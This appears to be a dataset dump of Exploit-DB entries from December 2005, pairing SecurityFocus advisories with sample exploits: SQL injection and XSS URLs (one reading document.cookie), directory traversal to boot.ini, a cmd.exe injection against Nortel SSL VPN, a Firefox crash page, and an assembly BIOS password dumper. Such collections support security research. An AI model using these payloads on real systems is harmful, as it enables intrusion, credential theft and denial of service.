QLWD/code_shield huggingface dataset:
标题: PHPWebGallery 1.3.4/1.5.1 - 'category.php' SQL Injection EDB-ID: 26791 CVE: 2005-4228 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15837/info
 
PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/category.php?cat=search&search=[SQL] URL: https://www.exploit-db.com/exploits/26791
标题: Alt-N MDaemon WorldClient 8.1.3 - Denial of Service EDB-ID: 26779 CVE: 2005-4209 类型: DOS 平台: WINDOWS 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15815/info

MDaemon WorldClient is prone to a denial of service vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to prevent a user from accessing their mail remotely through the WorldClient client application. 

<script></script> URL: https://www.exploit-db.com/exploits/26779
标题: EncapsGallery 1.0 - 'gallery.php' SQL Injection EDB-ID: 26789 CVE: 2005-4234 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15836/info

EncapsGallery is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/gallery.php?page=foto&action=show_custom&id=[SQL] URL: https://www.exploit-db.com/exploits/26789
标题: EveryAuction 1.53 - Auction.pl Cross-Site Scripting EDB-ID: 26786 CVE: 2005-4229 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15824/info

EveryAuction is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to run arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/auction.pl?searchstring=[XSS]&action=search&searchtype=keyword URL: https://www.exploit-db.com/exploits/26786
标题: LogiSphere 0.9.9 j - 'Search?NS-query-pat' Traversal Arbitrary File Access EDB-ID: 26774 CVE: 2005-4202 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15807/info
 
LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/search?NS-query-pat=..\..\..\..\..\..\..\..\boot.ini URL: https://www.exploit-db.com/exploits/26774
标题: Nortel SSL VPN 4.2.1.6 - Web Interface Input Validation EDB-ID: 26771 CVE: 2005-4197 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15798/info

Nortel SSL VPN is prone to an input validation vulnerability. This issue could be exploited to cause arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected. 

https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start... URL: https://www.exploit-db.com/exploits/26771
标题: LogiSphere 0.9.9 j - 'viewsource.jsp?source' Traversal Arbitrary File Access EDB-ID: 26773 CVE: 2005-4202 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15807/info

LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/26773
标题: Magic Forum Personal - 'view_forum.cfm?ForumID' SQL Injection EDB-ID: 26764 CVE: 2005-4071 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15774/info
 
CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
 
These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.
 
Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.
 
Other versions of these applications may also be affected. 

http://www.example.com/view_forum.cfm?ForumID=1[SQL] URL: https://www.exploit-db.com/exploits/26764
标题: LogiSphere 0.9.9 j - URI Multiple Method Traversal Arbitrary File Access EDB-ID: 26775 CVE: 2005-4202 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15807/info
  
LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/.../.../.../.../.../.../.../boot.ini
http://www.example.com:8080/../../../../../../../../../boot.ini
http://www.example.com:8080/../../../boot.ini
http://www.example.com:8080/..//..//..//..//..//..//..//boot.ini
http://www.example.com:8080/boot.ini
http://www.example.com:8080/boot.ini URL: https://www.exploit-db.com/exploits/26775
标题: MilliScripts 1.4 - 'register.php' Cross-Site Scripting EDB-ID: 26770 CVE: 2005-4161 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15792/info

MilliScripts is prone to a cross-site scripting vulnerability. This is due to a lack of proper input validation.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/red_14/register.php?do=register2&domainname=%22%3E%3Cs
cript%20src=www.example.com/script.js%3E%3C/script%3E&ext=www.example.com URL: https://www.exploit-db.com/exploits/26770
标题: Magic List Pro - 'view_archive.cfm?ListID' SQL Injection EDB-ID: 26763 CVE: 2005-4073 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15774/info

CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.

Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.

Other versions of these applications may also be affected. 

http://www.example.com/view_archive.cfm?ListID=[SQL] URL: https://www.exploit-db.com/exploits/26763
标题: Microsoft Excel 95/97/2000/2002/2003/2004 - Malformed Range Memory Corruption EDB-ID: 26769 CVE: 2005-4131 类型: DOS 平台: WINDOWS 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15780/info

Microsoft Excel is susceptible to a remote code-execution vulnerability. This issue was originally disclosed through an eBay auction that has since been terminated.

This issue is due to the application's failure to properly bounds-check user-supplied input data in the 'Named Range' definition in Excel data files. This results in the corruption of critical memory sections, allowing code execution. 

The following is a proof-of-concept example segment of an Excel data file. The '*' characters represent the location of the affected value that triggers this issue. Setting these locations to '0xFF' will crash the application.

00000720 00 80 00 ff 93 02 04 00 14 80 05 ff 60 01 02 00 |............`...|
00000730 00 00 85 00 0e 00 ba 05 00 00 00 00 06 00 53 68 |..............Sh|
00000740 65 65 74 31 8c 00 04 00 01 00 01 00 ae 01 04 00 |eet1............|
00000750 01 00 01 04 17 00 08 00 01 00 00 00 00 00 00 00 |................|
00000760 18 00 1b 00 00 00 00 05 07 ** ** 00 00 00 00 00 |................|
00000770 00 00 00 54 45 53 54 31 3a 00 00 00 00 00 00 c1 |...TEST1:.......|
00000780 01 08 00 c1 01 00 00 22 be 01 00 fc 00 08 00 00 |......."........|
00000790 00 00 00 00 00 00 00 ff 00 02 00 08 00 63 08 15 |.............c..| URL: https://www.exploit-db.com/exploits/26769
标题: CF_Nuke 4.6 - 'index.cfm' Cross-Site Scripting EDB-ID: 26767 CVE: 2005-4075 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15778/info

CF_Nuke is prone to multiple cross-site scripting vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.cfm?sector=news&page=topic&topic=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.cfm?sector=links&page=links&cmd=view&cat=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.cfm?sector=news&page=read&newsid=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26767
标题: Sights 'N Sounds Streaming Media Server 2.0.3 - 'SWS.exe' Buffer Overflow EDB-ID: 26776 CVE: 2005-4194 类型: DOS 平台: WINDOWS 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15809/info

Sights 'n Sounds Streaming Media Server is prone to a buffer overflow vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation will likely result in a crash of the 'SWS.exe' application, denying service to legitimate users. Arbitrary code execution may also be possible, this may facilitate privilege escalation to SYSTEM level.

Sights 'n Sounds Streaming Media Server version 2.0.3.b is affected. 

http://www.example.com/MediaServerListing.exe?[long_string] URL: https://www.exploit-db.com/exploits/26776
标题: Magic Book Professional 2.0 - 'Book.cfm' Cross-Site Scripting EDB-ID: 26772 CVE: 2005-4177 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15805/info

Magic Book Professional is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 2.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/book.cfm?StartRow=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26772
标题: Magic Forum Personal - 'view_thread.cfm' Multiple SQL Injections EDB-ID: 26765 CVE: 2005-4071 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15774/info
  
CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
  
These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.
  
Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.
  
Other versions of these applications may also be affected. 

http://www.example.com/view_thread.cfm?ForumID=1[SQL]

http://www.example.com/view_thread.cfm?ForumID=1&ThreadID=1&Thread=1[SQL]

http://www.example.com/view_thread.cfm?ForumID=1&ThreadID=1[SQL] URL: https://www.exploit-db.com/exploits/26765
标题: Mozilla Firefox 0.x/1.x - Large History File Buffer Overflow EDB-ID: 26762 CVE: 2005-4134 类型: DOS 平台: MULTIPLE 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15773/info

Mozilla Firefox is reportedly prone to a remote denial-of-service vulnerability.

This issue presents itself when the browser handles a large entry in the 'history.dat' file. An attacker may trigger this issue by enticing a user to visit a malicious website and by supplying excessive data to be stored in the affected file.

This may cause a denial-of-service condition.

**UPDATE: Proof-of-concept exploit code has been published. The author of the code attributes the crash to a buffer-overflow condition. Symantec has not reproduced the alleged flaw. 

<!-- Firefox 1.5 buffer overflow

Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.

this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.

Tested with Firefox 1.5 on Windows XP SP2.

ZIPLOCK <sickbeatz@gmail.com>

-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
 var buffer = "";
 for (var i = 0; i < 5000; i++) {
  buffer += "A";
 }
 var buffer2 = buffer;
 for (i = 0; i < 500; i++) {
  buffer2 += buffer;
 }
 document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html> URL: https://www.exploit-db.com/exploits/26762
标题: CF_Nuke 4.6 - 'index.cfm' Local File Inclusion EDB-ID: 26766 CVE: 2005-4074 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15777/info

CF_Nuke is prone to a local file include vulnerability. This is due to a lack of sanitization of user-supplied input.

This may facilitate the unauthorized viewing of files and unauthorized execution of local ColdFusion code.

It should be noted that successful exploitation requires that "Sandbox Security" is not enabled for the directory.

CF_Nuke 4.6 and prior versions are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.cfm?sector=../local file

http://www.example.com/index.cfm?sector=quotes&page=../local file URL: https://www.exploit-db.com/exploits/26766
标题: ASPMForum - 'forum.asp?baslik' SQL Injection EDB-ID: 26759 CVE: 2005-4141 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15767/info

ASPMForum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspmforum/forum.asp?baslik=[sql injection] URL: https://www.exploit-db.com/exploits/26759
标题: Multiple Vendor BIOS - Keyboard Buffer Password Persistence (1) EDB-ID: 26752 CVE: 2005-4176 类型: LOCAL 平台: WINDOWS 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15751/info

Multiple vendors fail to clear the BIOS (Basic Input-Output System) keyboard buffer after reading the preboot authentication password during the system startup process.

Depending on the operating system running on affected computers, the memory region may or may not be available for user-level access. With Linux operating systems, superuser access is required. With Microsoft Windows operating systems, nonprivileged users may access the keyboard buffer region.

Attackers who obtain the password used for preboot authentication may then use it for further attacks.

UPDATE: Reportedly, the BIOS API calls and the BIOS keyboard buffer are used by various preboot authentication applications to read a password from the keyboard in an insecure manner. These applications are also vulnerable to this issue.

This issue is reported to affect the following software:

- Truecrypt 5.0 for Windows
- DiskCryptor 0.2.6 for Windows and prior
- Secu Star DriveCrypt Plus Pack v3.9 and prior
- Grub Legacy (GNU GRUB 0.97) and prior
- Lilo 22.6.1 and prior versions
- Award BIOS Modular 4.50pg
- Insyde BIOS V190
- Intel Corp BIOS PE94510M.86A.0050.2007.0710.1559 (07/10/2007)
- Hewlett-Packard BIOS 68DTT Ver. F.0D (11/22/2005)
- IBM Lenovo BIOS 7CETB5WW v2.05 (10/13/2006) 

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Endrazine endrazine (at) pulltheplug (dot) org [email concealed] ;
; Bios Password Physical Memory Reader ;
; Write to file Windows Compatible version ;
; ;
;Compiling : A86 wbiosw.asm wbiosw.com ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

code segment
org 100h
assume ds:code, es:code, cs:code

start:
mov ah, 09h
mov dx,offset welcome
int 21h

xor ax,ax
int 16h

mov ds, 40h ; This is the input buffer adress
mov si, 01EH ; starting at 40h:01eh
mov di,offset buffer
mov cx,32

daloop:
mov ax,[ds:si]
mov [cs:di],ax
inc di
add si,2 ; Replace this line by add si,4
; if you plan to use it under Dos
loop daloop

mov ds,es

mov ah, 3ch ; MS DOS Create file Function
mov dx, offset fname
xor cx,cx
int 21h

mov ax, 3d01h ; MS DOS Open file Function
int 21h
mov handle,ax

mov ah, 40h
mov bx,handle
mov cx,32
mov dx, offset Msg
int 21h ; Write buffer to file

mov ax,4ch ; Quit
int 21h

handle dw ?
welcome db 'Password dumper by Endrazine (endrazine (at) pulltheplug (dot) org [email concealed])',10,13
db '',10,13
db 'Dumping Password to Password.txt',10,13
db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start

end URL: https://www.exploit-db.com/exploits/26752
标题: Cars Portal 1.1 - 'index.php' Multiple SQL Injections EDB-ID: 26751 CVE: 2005-4055 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15747/info

Cars Portal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and earlier are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=[SQL]
http://www.example.com/index.php?page=en_Home&car=[SQL] URL: https://www.exploit-db.com/exploits/26751
标题: DRZES Hms 3.2 - 'login.php' Cross-Site Scripting EDB-ID: 26758 CVE: 2005-4136 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15766/info

DRZES HMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/26758
标题: Thwboard Beta 2.8 - 'calendar.php?year' SQL Injection EDB-ID: 26755 CVE: 2005-4139 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15763/info

ThWboard is prone to multiple input validation vulnerabilities.

The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.

A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.

Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/calendar.php?month=12&year='[SQL] URL: https://www.exploit-db.com/exploits/26755
标题: ASPMForum - 'kullanicilistesi.asp?harf' SQL Injection EDB-ID: 26760 CVE: 2005-4141 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15767/info
 
ASPMForum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspmforum/kullanicilistesi.asp?harf=[sql injection] URL: https://www.exploit-db.com/exploits/26760
标题: Thwboard Beta 2.8 - 'v_profile.php?user' SQL Injection EDB-ID: 26756 CVE: 2005-4139 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15763/info
 
ThWboard is prone to multiple input validation vulnerabilities.
 
The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.
 
A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.
 
Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/v_profile.php?user[userid]='[SQL] URL: https://www.exploit-db.com/exploits/26756
标题: A-FAQ 1.0 - 'faqDsp.asp?catcode' SQL Injection EDB-ID: 26747 CVE: 2005-4064 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15741/info
 
A-FAQ is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. 

http://www.example.com/faqDsp.asp?catcode=[SQL] URL: https://www.exploit-db.com/exploits/26747